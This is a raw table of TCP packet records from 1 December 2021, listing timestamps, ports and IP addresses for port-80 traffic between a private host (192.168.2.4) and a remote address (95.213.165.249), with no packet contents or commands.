Dec 1, 2021 09:14:19.920964956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920969963 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921003103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921008110 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921041965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921081066 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921089888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921118021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921158075 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921196938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921211004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921242952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921264887 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921298027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921351910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921358109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921412945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921457052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921485901 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921494007 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921533108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921549082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921575069 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921629906 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921674013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921679020 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921715021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921746969 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921752930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921792984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921823978 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921830893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921871901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921886921 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.921911955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921947956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921984911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.921993017 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922023058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922060966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922069073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922100067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922106028 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922137022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922175884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922187090 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922229052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922265053 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922277927 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922302961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922342062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922373056 CET	80	49796	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.922393084 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.922620058 CET	49796	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.923051119 CET	49796	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.923580885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.923621893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.923664093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.923696041 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.923703909 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.923743963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.923774004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.923809052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.923820019 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.928761959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.979741096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.979829073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.979847908 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.979880095 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.979892015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.979938984 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.979954958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980019093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980021000 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980067968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980077028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980123997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980139017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980199099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980257034 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980257988 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980323076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980377913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980379105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980437994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980439901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980490923 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980504990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980566978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980581045 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980629921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980664015 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980691910 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980693102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980748892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980755091 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980814934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980863094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.980916023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980972052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.980992079 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981015921 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981028080 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981069088 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981085062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981128931 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981136084 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981184959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981220961 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981260061 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981265068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981317043 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981317997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981374979 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981379032 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981415987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981455088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981458902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981494904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981498003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981534004 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981571913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981573105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981611967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981622934 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981650114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981664896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981693029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981698990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981731892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981749058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981767893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981770992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981811047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981815100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981847048 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981861115 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981885910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981889963 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.981925011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981960058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.981997967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982034922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982055902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982060909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982063055 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982074976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982078075 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982115030 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982126951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982155085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982162952 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982196093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982202053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982233047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982248068 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982270002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982275009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982307911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982312918 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982346058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982383966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982388973 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982423067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982425928 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982461929 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982500076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982503891 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982537985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982573986 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982579947 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982613087 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982614994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982650995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982692003 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982695103 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982731104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982768059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982779026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982809067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982810020 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982852936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982870102 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982889891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982908964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982929945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982943058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.982968092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.982979059 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983006001 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983007908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983047009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983082056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983088970 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983119965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983124018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983158112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983194113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983203888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983232975 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983237028 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983270884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983309984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983311892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983350039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983386040 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983392000 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983423948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983424902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983464003 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983500004 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983505964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983537912 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983539104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983577013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983613968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983617067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983653069 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983690977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983695030 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983728886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983730078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983768940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983804941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983809948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983843088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983850956 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983881950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983922958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983923912 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.983963013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.983999968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984004974 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984039068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984040022 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984077930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984116077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984118938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984153986 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984157085 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984191895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984194994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984230995 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984230995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984272003 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984273911 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984308958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984312057 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984349012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984349012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984388113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984390020 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984425068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984427929 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984463930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.984467030 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.984504938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.024962902 CET	80	49796	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.026211023 CET	80	49796	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.026277065 CET	49796	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041707039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041749001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041775942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041785955 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041800976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041821003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041826963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041853905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041856050 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041877985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041896105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041903973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041917086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041929960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041933060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041955948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041958094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.041980982 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.041985989 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042006016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042018890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042031050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042049885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042057991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042071104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042083979 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042105913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042109013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042129040 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042135954 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042149067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042160034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042175055 CET	49796	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042185068 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042186022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042211056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042212009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042237043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042248011 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042263031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042267084 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042285919 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042285919 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042309046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042314053 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042329073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042340040 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042352915 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042367935 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042380095 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042392015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042412996 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042417049 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042428017 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042442083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042458057 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042467117 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042481899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042491913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042505026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042531967 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042561054 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042586088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042603970 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042609930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042634010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042634964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042654991 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042659044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042676926 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042695999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042700052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042721033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042732954 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042746067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042758942 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042772055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042785883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042797089 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042812109 CET	49795	80	192.168.2.4	95.213.165.249
